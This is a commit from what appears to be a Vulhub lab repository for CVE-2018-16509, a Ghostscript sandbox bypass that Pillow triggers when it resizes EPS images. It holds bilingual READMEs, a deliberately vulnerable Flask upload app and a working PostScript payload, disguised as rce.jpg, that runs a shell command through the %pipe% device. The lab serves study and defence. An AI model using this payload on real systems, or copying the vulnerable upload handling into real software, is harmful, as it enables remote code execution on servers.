first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

View File

@@ -0,0 +1,92 @@
# Python PIL/Pillow Remote Command Execution (CVE-2018-16509)
[中文文档](README.zh-cn.md)
PIL/Pillow is a widely used image processing library in Python.
In Ghostscript versions prior to 9.24, there exists a -dSAFER sandbox bypass vulnerability (CVE-2018-16509). Incorrect "restoration of privilege" checking during handling of /invalidaccess exceptions could be used by attackers able to supply crafted PostScript to execute code using the "pipe" instruction.
This vulnerability affects various applications that use Ghostscript for image processing, including Python's PIL/Pillow library. When an application uses PIL/Pillow to process user-uploaded images and the environment has a vulnerable version of Ghostscript installed, it may lead to remote command execution.
References:
- [Ghostscript: -dSAFER bypass (CVE-2018-16509)](https://seclists.org/oss-sec/2018/q3/142)
- [PIL/Pillow EPS Image Processing](https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/EpsImagePlugin.py)
- [Ghostscript Sandbox Bypass Analysis](https://paper.seebug.org/1159/)
## Environment Setup
Execute the following command to start a vulnerable Flask application (using Ghostscript 9.23):
```
docker compose up -d
```
After the environment is started, visit `http://your-ip:8000` to see a simple image upload page.
## Vulnerability Reproduction
Prepare a malicious EPS file (provided as `rce.jpg` in this environment) with the following content:
```
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops
```
Visit `http://your-ip:8000` and upload this file.
After uploading, the server will process this image using PIL/Pillow, and when the `resize` function is called, it will trigger the vulnerability and execute the `touch /tmp/got_rce` command.
Execute the following command to verify if the vulnerability has been successfully exploited:
```
docker compose exec web ls -la /tmp/
```
If you see the `/tmp/got_rce` file, it means the command execution was successful.
## Vulnerability Analysis
The core of the vulnerability lies in PIL/Pillow calling the system's Ghostscript program when processing EPS images. In `EPSImagePlugin.py`, PIL uses `subprocess` to call Ghostscript:
```python
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
"-c", "showpage", # showpage
]
```
Although the `-dSAFER` parameter is used, Ghostscript versions prior to 9.24 have a sandbox bypass vulnerability that allows attackers to execute arbitrary commands through specially crafted PostScript code.
In the sample application, when an image is uploaded, it is processed as follows:
```python
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)
resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
```
Simply calling `Image.open()` will not trigger the vulnerability, but when methods that actually need to load image data, such as `resize()` or `save()`, are called, they will trigger the Ghostscript call and execute malicious commands.
To fix this vulnerability, you need to update Ghostscript to version 9.24 or higher, or disable EPS image processing functionality when using PIL/Pillow to process user-uploaded images.

View File

@@ -0,0 +1,90 @@
# Python PIL/Pillow 远程命令执行漏洞 (CVE-2018-16509)
[English](README.md)
PIL/Pillow 是 Python 中广泛使用的图像处理库。
在 Ghostscript 9.24 版本之前,存在一个 -dSAFER 沙盒绕过漏洞CVE-2018-16509攻击者可以通过构造恶意的图片文件在图片处理过程中执行任意命令。这个漏洞影响了使用 Ghostscript 进行图像处理的多种应用,包括 Python 的 PIL/Pillow 库。当应用程序使用 PIL/Pillow 处理用户上传的图片时,若环境中安装了存在漏洞的 Ghostscript则可能导致远程命令执行。
参考链接:
- [Ghostscript: -dSAFER bypass (CVE-2018-16509)](https://seclists.org/oss-sec/2018/q3/142)
- [PIL/Pillow EPS Image Processing](https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/EpsImagePlugin.py)
- [Ghostscript 沙箱绕过漏洞分析](https://paper.seebug.org/1159/)
## 环境搭建
执行如下命令启动一个包含漏洞的 Flask 应用(使用 Ghostscript 9.23 版本):
```
docker compose up -d
```
环境启动后,访问 `http://your-ip:8000` 即可看到一个简单的图片上传页面。
## 漏洞复现
准备一个恶意的 EPS 文件(本环境中已提供 `rce.jpg`),其内容如下:
```
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops
```
访问 `http://your-ip:8000`,上传这个文件。
上传后,服务器会使用 PIL/Pillow 处理这个图片,在调用 `resize` 函数时会触发漏洞,执行 `touch /tmp/got_rce` 命令。
执行以下命令验证漏洞是否成功利用:
```
docker compose exec web ls -la /tmp/
```
如果看到 `/tmp/got_rce` 文件,则说明命令执行成功。
## 漏洞分析
漏洞的核心在于 PIL/Pillow 在处理 EPS 图像时会调用系统的 Ghostscript 程序。在 `EPSImagePlugin.py`PIL 使用 `subprocess` 调用 Ghostscript
```python
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
"-c", "showpage", # showpage
]
```
虽然使用了 `-dSAFER` 参数,但 Ghostscript 9.24 版本之前存在沙盒绕过漏洞,攻击者可以通过特制的 PostScript 代码执行任意命令。
在示例应用中,当图片上传后,会进行如下处理:
```python
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)
resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
```
仅调用 `Image.open()` 不会触发漏洞,但当调用 `resize()``save()` 等需要实际加载图片数据的方法时,会触发 Ghostscript 的调用,从而执行恶意命令。
要修复此漏洞,需要更新 Ghostscript 到 9.24 或更高版本,或者在使用 PIL/Pillow 处理用户上传的图片时,禁用 EPS 图像处理功能。

View File

@@ -0,0 +1,66 @@
from flask import Flask, flash, get_flashed_messages, make_response, redirect, render_template_string, request
from os import path, unlink
from PIL import Image
import tempfile
app = Flask(__name__)
app.secret_key = "0123456789ABCDEF"
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
file = request.files.get('image', None)
if not file:
flash('No image found')
return redirect(request.url)
filename = file.filename
ext = path.splitext(filename)[1]
if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
flash('Invalid extension')
return redirect(request.url)
tmp = tempfile.mktemp("test")
img_path = "{}.{}".format(tmp, ext)
file.save(img_path)
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)
resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
r = make_response()
r.data = open(img_path, "rb").read()
r.headers['Content-Disposition'] = 'attachment; filename=resized_{}'.format(filename)
unlink(img_path)
return r
return render_template_string('''
<!doctype html>
<title>Image Resizer</title>
<h1>Upload an Image to Resize</h1>
{% with messages = get_flashed_messages() %}
{% if messages %}
<ul class=flashes>
{% for message in messages %}
<li>{{ message }}</li>
{% endfor %}
</ul>
{% endif %}
{% endwith %}
<form method=post enctype=multipart/form-data>
<p><input type=file name=image>
<input type=submit value=Upload>
</form>
''')
if __name__ == '__main__':
app.run(threaded=True, port=8000, host="0.0.0.0")

View File

@@ -0,0 +1,9 @@
version: '2'
services:
web:
image: vulhub/ghostscript:9.23-with-flask
command: python app.py
volumes:
- ./app.py:/usr/src/app.py
ports:
- "8000:8000"

View File

@@ -0,0 +1,10 @@
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops